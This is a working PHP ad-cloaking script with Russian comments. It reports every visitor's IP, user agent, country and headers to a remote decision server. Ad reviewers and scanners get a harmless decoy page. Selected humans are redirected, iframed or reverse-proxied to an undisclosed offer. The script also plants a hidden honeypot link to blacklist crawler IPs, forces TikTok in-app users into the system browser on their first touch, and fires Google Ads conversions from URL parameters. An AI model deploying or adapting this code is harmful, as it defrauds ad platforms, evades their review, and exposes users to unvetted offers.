<?php
/* CLICKCONV-CLOAK */
@ini_set('display_errors', '0');
@error_reporting(0);
// При любом фатале (нет расширения, парс-ошибка и т.п.) показываем white вместо пустой страницы/500.
register_shutdown_function(function () {
    $e = error_get_last();
    if ($e && in_array($e['type'], array(E_ERROR, E_CORE_ERROR, E_COMPILE_ERROR, E_RECOVERABLE_ERROR), true) && !headers_sent()) {
        $w = __DIR__ . '/main.php';  if (is_file($w)) { require $w; return; }
        $h = __DIR__ . '/main.html'; if (is_file($h)) { readfile($h); return; }
        http_response_code(200); echo 'Welcome';
    }
});
$KEY = '14e499098c2dd2ecaf3e692ae1e27b88';
$ENDPOINT = 'https://13.50.231.106.nip.io/decide';
$TT_PIXEL = <<<'CCTTPX'
<script>
!function(w,d,t){w.TiktokAnalyticsObject=t;var ttq=w[t]=w[t]||[];ttq.methods=["page","track","identify","instances","debug","on","off","once","ready","alias","group","enableCookie","disableCookie","holdConsent","revokeConsent","grantConsent"];ttq.setAndDefer=function(t,e){t[e]=function(){t.push([e].concat(Array.prototype.slice.call(arguments,0)))}};for(var i=0;i<ttq.methods.length;i++)ttq.setAndDefer(ttq,ttq.methods[i]);ttq.instance=function(t){for(var e=ttq._i[t]||[],n=0;n<ttq.methods.length;n++)ttq.setAndDefer(e,ttq.methods[n]);return e};ttq.load=function(e,n){var r="https://analytics.tiktok.com/i18n/pixel/events.js";ttq._i=ttq._i||{};ttq._i[e]=[];ttq._i[e]._u=r;ttq._t=ttq._t||{};ttq._t[e]=+new Date;ttq._o=ttq._o||{};ttq._o[e]=n||{};var s=document.createElement("script");s.type="text/javascript";s.async=!0;s.src=r+"?sdkid="+e+"&lib="+t;var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(s,a)};ttq.load('DATC443C77UECMRFRTL0');ttq.page();}(window,document,'ttq');
</script>
CCTTPX;

if (!empty($_GET['cc_conv'])) {
    $DEFAULT_SEND_TO = '';
    $SEND_TO = isset($_GET['cc_send']) ? (string)$_GET['cc_send'] : $DEFAULT_SEND_TO;
    if (preg_match('~^AW-\\d{6,}/[A-Za-z0-9_-]{6,}$~', $SEND_TO)) {
        $AW = explode('/', $SEND_TO)[0];
        $EV = array('send_to' => $SEND_TO);
        if (!empty($_GET['cc_txid'])) $EV['transaction_id'] = (string)$_GET['cc_txid'];
        if (isset($_GET['cc_value']) && is_numeric($_GET['cc_value'])) {
            $EV['value'] = (float)$_GET['cc_value'];
            $cur = isset($_GET['cc_cur']) ? preg_replace('~[^A-Za-z]~', '', (string)$_GET['cc_cur']) : 'USD';
            $EV['currency'] = $cur !== '' ? strtoupper(substr($cur, 0, 3)) : 'USD';
        }
        // ack: когда gtag реально отправит beacon конверсии (event_callback),
        // пингуем /gtag-ack?sid=<cc_sid> — так в истории отметим «подтверждено».
        $SID = isset($_GET['cc_sid']) ? preg_replace('~[^a-zA-Z0-9]~', '', (string)$_GET['cc_sid']) : '';
        $ACK = $SID !== '' ? ('https://13.50.231.106.nip.io/gtag-ack?sid=' . rawurlencode($SID)) : '';
        header('Content-Type: text/html; charset=utf-8');
        echo '<!doctype html><html><head><meta charset="utf-8"><title>Спасибо за заказ!</title>';
        echo '<script async src="https://www.googletagmanager.com/gtag/js?id=' . rawurlencode($AW) . '"></script>';
        echo '<script>window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}';
        echo 'gtag("js",new Date());gtag("config",' . json_encode($AW) . ');';
        echo 'var EV=' . json_encode($EV) . ';var ACK=' . json_encode($ACK) . ';';
        echo 'if(ACK){EV.event_callback=function(){try{navigator.sendBeacon(ACK);}catch(e){try{(new Image()).src=ACK;}catch(e2){}}};EV.event_timeout=2500;}';
        echo 'gtag("event","conversion",EV);</script>';
        echo '</head><body style="font-family:system-ui;text-align:center;padding-top:20vh">Спасибо за заказ!</body></html>';
        exit;
    }
}

// POST в /decide: через curl, а если расширения curl нет — фолбэк на потоки (file_get_contents).
function cc_post($url, $payload) {
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, array(
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST           => true,
            CURLOPT_POSTFIELDS     => $payload,
            CURLOPT_HTTPHEADER     => array('Content-Type: application/json'),
            CURLOPT_CONNECTTIMEOUT => 3,
            CURLOPT_TIMEOUT        => 5,
            CURLOPT_SSL_VERIFYPEER => false,
        ));
        $res  = curl_exec($ch);
        $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        return array($code, $res);
    }
    $ctx = stream_context_create(array(
        'http' => array('method' => 'POST', 'header' => "Content-Type: application/json\r\n", 'content' => $payload, 'timeout' => 5, 'ignore_errors' => true),
        'ssl'  => array('verify_peer' => false, 'verify_peer_name' => false),
    ));
    $res  = @file_get_contents($url, false, $ctx);
    $code = 0;
    if (isset($http_response_header) && isset($http_response_header[0]) && preg_match('~\s(\d{3})\s~', $http_response_header[0], $m)) $code = (int) $m[1];
    return array($code, $res === false ? null : $res);
}
function cc_client_ip() {
    foreach (['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP', 'REMOTE_ADDR'] as $h) {
        if (!empty($_SERVER[$h])) {
            $parts = explode(',', $_SERVER[$h]);
            return trim($parts[0]);
        }
    }
    return '';
}
// Отдаём white + невидимую приманку (ссылка спрятана в HTML-комментарии: живой браузер
// по ней не переходит, а скан/краулер, парсящий все ссылки, — да → его IP в blacklist).
function cc_white() {
    global $TT_PIXEL;
    $trap = '<!-- assets: <a href="?_ccv=1">index</a> -->';
    // TikTok base-пиксель добавляется ТОЛЬКО на white (одобренную страницу).
    $trap .= $TT_PIXEL;
    $w = __DIR__ . '/main.php';  if (is_file($w)) { require $w; echo $trap; exit; }
    $h = __DIR__ . '/main.html'; if (is_file($h)) { readfile($h); echo $trap; exit; }
    http_response_code(200); echo 'Welcome'; echo $trap; exit;
}
// Приманка сработала: репортим IP на /trap и всё равно отдаём white (скан не заметит).
if (isset($_GET['_ccv'])) {
    @cc_post('https://13.50.231.106.nip.io/trap', json_encode(array('ip' => cc_client_ip())));
    cc_white();
}
// ── BREAKOUT (mode 4): в in-app браузере TikTok показываем ЧИСТЫЙ white (DOM = как у ревью),
// а выход в СИСТЕМНЫЙ браузер вешаем на ПЕРВЫЙ реальный тап/скролл (жест обязателен, иначе
// браузер наружу не выпустит). Кнопки/баннера нет — только невидимый скрипт. Оффер-URL в
// разметку НЕ попадает: тап ведёт на наш же ?cc_go=1, где сервер отдаёт 302 на оффер только
// живому человеку (бот на /go → white). Боту этот скрипт не достаётся вовсе (у него mode 6/white).
function cc_breakout($cid) {
    global $TT_PIXEL;
    // сам white-контент (то, что видит и ревью-бот) — совпадает, сравнивать нечего
    $w = __DIR__ . '/main.php';  if (is_file($w)) { require $w; }
    else { $h = __DIR__ . '/main.html'; if (is_file($h)) { readfile($h); } else { echo '<!doctype html><meta charset=utf-8><title>Welcome</title>'; } }
    echo $TT_PIXEL;
    echo '<script>var CC_CID=' . json_encode((string)$cid) . ';(function(){';
    echo 'var q=location.search||"";var glue=q?"&":"?";';
    echo 'var goAbs=location.origin+location.pathname+q+glue+"cc_go=1"+(CC_CID?("&cc_cid="+encodeURIComponent(CC_CID)):"");';
    echo 'var ua=navigator.userAgent||"";var isA=/android/i.test(ua);var isI=/iphone|ipad|ipod/i.test(ua);';
    echo 'var armed=false,fired=false,hintEl=null;';
    // подсказка для iOS (форса в системный браузер там нет — просим открыть вручную)
    echo 'function hint(){if(hintEl)return;hintEl=document.createElement("div");hintEl.style.cssText="position:fixed;left:0;right:0;bottom:0;z-index:2147483647;padding:14px 16px;background:#111;color:#eee;font:15px system-ui;text-align:center;line-height:1.4";hintEl.innerHTML="\u041d\u0430\u0436\u043c\u0438\u0442\u0435 \u00ab\u2022\u2022\u2022\u00bb \u0438 \u0432\u044b\u0431\u0435\u0440\u0438\u0442\u0435 <b>\u00ab\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435\u00bb</b>";document.body.appendChild(hintEl);}';
    echo 'function go(){if(!armed||fired)return;';
    echo 'if(isI){hint();return;}';                                          // iOS — только подсказка, триггер не «сжигаем»
    echo 'fired=true;';
    echo 'if(isA){var iq=(q?q.substring(1)+"&":"")+"cc_go=1"+(CC_CID?("&cc_cid="+encodeURIComponent(CC_CID)):"");';
    echo 'window.location.href="intent://"+location.host+location.pathname+"?"+iq+"#Intent;scheme=https;end";';
    echo 'setTimeout(function(){window.location.href=goAbs;},1500);}';       // фолбэк, если intent не перехватило
    echo 'else{window.location.href=goAbs;}}';                               // десктоп/прочее
    // «взводим» через 0.5с после загрузки, чтобы авто-скролл/джиттер при рендере не сработал
    echo 'setTimeout(function(){armed=true;},500);';
    echo 'var opt={passive:true};';
    echo 'document.addEventListener("touchend",go,opt);document.addEventListener("click",go,opt);document.addEventListener("scroll",go,opt);';
    echo '})();</script>';
    exit;
}

// ── Reverse-proxy (mode 3): GET-фетч произвольного URL с прокидкой content-type. ──
function cc_fetch($url) {
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0';
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, array(
            CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => 4, CURLOPT_TIMEOUT => 12, CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_HTTPHEADER => array('User-Agent: ' . $ua, 'Accept: */*'),
        ));
        $body = curl_exec($ch);
        $ct = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
        $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $eff = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL); // финальный URL после редиректов
        curl_close($ch);
        return array($code, $body, $ct, $eff ?: $url);
    }
    $ctx = stream_context_create(array('http' => array('timeout' => 12, 'ignore_errors' => true, 'header' => 'User-Agent: ' . $ua), 'ssl' => array('verify_peer' => false, 'verify_peer_name' => false)));
    $body = @file_get_contents($url, false, $ctx);
    $ct = 'text/html';
    if (isset($http_response_header)) { foreach ($http_response_header as $h) { if (stripos($h, 'Content-Type:') === 0) $ct = trim(substr($h, 13)); } }
    return array($body === false ? 0 : 200, $body === false ? '' : $body, $ct, $url);
}
// Прокси под-ресурса с сохранением МЕТОДА и тела (POST лида/событий, не только GET).
function cc_proxy_pass($url) {
    $method = $_SERVER['REQUEST_METHOD'] ?? 'GET';
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0';
    $ctIn = $_SERVER['CONTENT_TYPE'] ?? '';
    $bodyIn = ($method === 'POST' || $method === 'PUT' || $method === 'PATCH') ? file_get_contents('php://input') : null;
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        $hdrs = array('User-Agent: ' . $ua, 'Accept: */*');
        if ($ctIn) { $hdrs[] = 'Content-Type: ' . $ctIn; }
        if (!empty($_SERVER['HTTP_X_REQUESTED_WITH'])) { $hdrs[] = 'X-Requested-With: ' . $_SERVER['HTTP_X_REQUESTED_WITH']; }
        curl_setopt_array($ch, array(
            CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => 4, CURLOPT_TIMEOUT => 12, CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_CUSTOMREQUEST => $method, CURLOPT_HTTPHEADER => $hdrs,
        ));
        if ($bodyIn !== null) { curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyIn); }
        $body = curl_exec($ch);
        $ct = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
        $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        return array($code, $body, $ct);
    }
    $opts = array('method' => $method, 'timeout' => 12, 'ignore_errors' => true, 'header' => 'User-Agent: ' . $ua . "\r\n" . ($ctIn ? ('Content-Type: ' . $ctIn . "\r\n") : ''));
    if ($bodyIn !== null) { $opts['content'] = $bodyIn; }
    $ctx = stream_context_create(array('http' => $opts, 'ssl' => array('verify_peer' => false, 'verify_peer_name' => false)));
    $body = @file_get_contents($url, false, $ctx);
    $ct = 'text/html';
    if (isset($http_response_header)) { foreach ($http_response_header as $h) { if (stripos($h, 'Content-Type:') === 0) $ct = trim(substr($h, 13)); } }
    return array($body === false ? 0 : 200, $body === false ? '' : $body, $ct);
}
// Подписанная HMAC-кука money-базы (нельзя подделать → не превратить домен в открытый прокси).
function cc_seal($v) { global $KEY; return rtrim(strtr(base64_encode($v), '+/', '-_'), '=') . '.' . hash_hmac('sha256', $v, $KEY); }
function cc_unseal($s) {
    global $KEY;
    $p = explode('.', (string) $s, 2);
    if (count($p) !== 2) return null;
    $v = base64_decode(strtr($p[0], '-_', '+/'));
    if ($v === false || $v === '') return null;
    return hash_equals(hash_hmac('sha256', $v, $KEY), $p[1]) ? $v : null;
}
// Переписываем ссылки на *.php → *.ccp: nginx на cloak-домене перехватывает \.php$ и
// пытается выполнить локально (404), поэтому эндпоинты формы (sendlead.php и т.п.) гоним
// как *.ccp — они уходят в index.php → прокси, где .ccp маппится обратно в .php на money.
function cc_rewrite($html) {
    return preg_replace('#([\x27"(/=])([\w\-]+)\.php#i', '$1$2.ccp', $html);
}
// Под-ресурсы money-сайта (css/js/img/sendlead/thanks) приходят на НАШ домен по
// относительным путям → проксируем их на money-базу из подписанной куки. AJAX-форма и
// конверсии работают same-origin, URL остаётся нашим.
if (isset($_COOKIE['cc_pb'])) {
    $reqPath = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH);
    if ($reqPath !== null && $reqPath !== '/' && $reqPath !== '' && strpos($reqPath, '/index.php') === false) {
        $pb = cc_unseal($_COOKIE['cc_pb']);
        if ($pb) {
            $qs = $_SERVER['QUERY_STRING'] ?? '';
            $upPath = preg_replace('~\.ccp$~', '.php', $reqPath); // .ccp → реальный .php на money
            $u = rtrim($pb, '/') . '/' . ltrim($upPath, '/') . ($qs !== '' ? ('?' . $qs) : '');
            list($pc, $pbody, $pct) = cc_proxy_pass($u); // сохраняем метод+тело (POST лида/событий)
            if ($pc) {
                if ($pct) header('Content-Type: ' . $pct);
                if (stripos((string) $pct, 'html') !== false) $pbody = cc_rewrite($pbody); // вложенный html (thanks/) — тоже
                http_response_code($pc);
                echo $pbody;
                exit;
            }
        }
    }
}

// ── BREAKOUT go: запрос уже в СИСТЕМНОМ браузере (?cc_go=1). Повторно спрашиваем /decide
// (stage=go): человек → 302 на оффер, бот/ревью → white. Оффер выдаётся только тут, server-side.
if (isset($_GET['cc_go'])) {
    $cid = isset($_GET['cc_cid']) ? preg_replace('~[^a-zA-Z0-9]~', '', (string) $_GET['cc_cid']) : '';
    $goPayload = json_encode(array(
        'key'            => $KEY,
        'stage'          => 'go',
        'cid'            => $cid,
        'ip'             => cc_client_ip(),
        'ua'             => $_SERVER['HTTP_USER_AGENT'] ?? '',
        'referer'        => $_SERVER['HTTP_REFERER'] ?? '',
        'acceptLanguage' => $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '',
        'country'        => $_SERVER['HTTP_CF_IPCOUNTRY'] ?? '',
        'host'           => $_SERVER['HTTP_HOST'] ?? '',
        'query'          => $_GET,
    ));
    list($gc, $gres) = cc_post($ENDPOINT, $goPayload);
    $gd = ($gc === 200) ? json_decode($gres, true) : null;
    if (is_array($gd) && !empty($gd['result']) && !empty($gd['target'])) {
        header('Location: ' . $gd['target'], true, 302);
        exit;
    }
    cc_white();
}

$payload = json_encode([
    'key'            => $KEY,
    'ip'             => cc_client_ip(),
    'ua'             => $_SERVER['HTTP_USER_AGENT'] ?? '',
    'referer'        => $_SERVER['HTTP_REFERER'] ?? '',
    'acceptLanguage' => $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '',
    'country'        => $_SERVER['HTTP_CF_IPCOUNTRY'] ?? '',
    'host'           => $_SERVER['HTTP_HOST'] ?? '',
    'secFetchMode'   => $_SERVER['HTTP_SEC_FETCH_MODE'] ?? '',
    'secFetchDest'   => $_SERVER['HTTP_SEC_FETCH_DEST'] ?? '',
    'accept'         => $_SERVER['HTTP_ACCEPT'] ?? '',
    'secChUaMobile'   => $_SERVER['HTTP_SEC_CH_UA_MOBILE'] ?? '',
    'secChUaPlatform' => $_SERVER['HTTP_SEC_CH_UA_PLATFORM'] ?? '',
    'query'          => $_GET,
]);

list($code, $res) = cc_post($ENDPOINT, $payload);

$d = ($code === 200) ? json_decode($res, true) : null;

// mode 4 (breakout): money-решение принято, но оффер в приложении НЕ показываем — отдаём
// white + кнопку «Продолжить» (вывод в системный браузер). target тут не приходит.
if (is_array($d) && !empty($d['result']) && isset($d['mode']) && (int) $d['mode'] === 4) {
    cc_breakout(isset($d['cid']) ? (string) $d['cid'] : '');
}

if (is_array($d) && !empty($d['result']) && !empty($d['target'])) {
    $target = $d['target'];
    $mode   = isset($d['mode']) ? (int) $d['mode'] : 2;

    if ($mode === 3) {
        // same-origin proxy: отдаём money-HTML как свой. В кукe храним ORIGIN money-сайта,
        // а в HTML инжектим <base href="<путь money>"> — тогда И относительные, И абсолютные
        // ассеты, И AJAX-форма резолвятся на НАШ домен по правильному пути → уходят в прокси
        // (сохраняя полный путь). URL в адресной строке не меняется; query money прокидываем
        // через history.replaceState (JS money-страницы читает mpc2/gclid).
        list($mc, $mhtml, $mct, $eff) = cc_fetch($target);
        // origin/base/query берём из ФИНАЛЬНОГО URL (после возможных редиректов/шортенеров),
        // иначе ассеты уедут не на тот домен.
        $eff = $eff ?: $target;
        $origin = (parse_url($eff, PHP_URL_SCHEME) ?: 'https') . '://' . parse_url($eff, PHP_URL_HOST);
        $path = parse_url($eff, PHP_URL_PATH);
        if (!$path) { $path = '/'; }
        $dir = (substr($path, -1) === '/') ? $path : preg_replace('~[^/]*$~', '', $path);
        setcookie('cc_pb', cc_seal($origin), array('expires' => time() + 1800, 'path' => '/', 'httponly' => true, 'samesite' => 'Lax'));
        if ($mc && $mhtml !== '' && stripos(($mct ?: 'text/html'), 'html') !== false) {
            $mq = parse_url($eff, PHP_URL_QUERY);
            $base = '<base href="' . htmlspecialchars($dir, ENT_QUOTES) . '">';
            $inj = $base . '<script>try{history.replaceState(null,"",location.pathname+' . json_encode($mq ? ('?' . $mq) : '') . ');}catch(e){}</script>';
            $mhtml = cc_rewrite($mhtml); // *.php → *.ccp (эндпоинты формы через прокси)
            if (preg_match('~<head[^>]*>~i', $mhtml)) { $mhtml = preg_replace_callback('~<head[^>]*>~i', function ($m) use ($inj) { return $m[0] . $inj; }, $mhtml, 1); }
            else { $mhtml = $inj . $mhtml; }
            header('Content-Type: text/html; charset=utf-8');
            echo $mhtml;
            exit;
        }
        cc_white(); // не смогли проксировать money → white (не палимся пустотой)
    }

    if ($mode === 1) {
        $t = htmlspecialchars($target, ENT_QUOTES);
        header('Content-Type: text/html; charset=utf-8');
        echo '<!doctype html><html><head><meta name="viewport" content="width=device-width,initial-scale=1"></head><body style="margin:0">';
        echo '<iframe src="' . $t . '" style="position:fixed;inset:0;width:100%;height:100%;border:0"></iframe>';
        echo '</body></html>';
        exit;
    }

    header('Location: ' . $target, true, 302);
    exit;
}

cc_white();
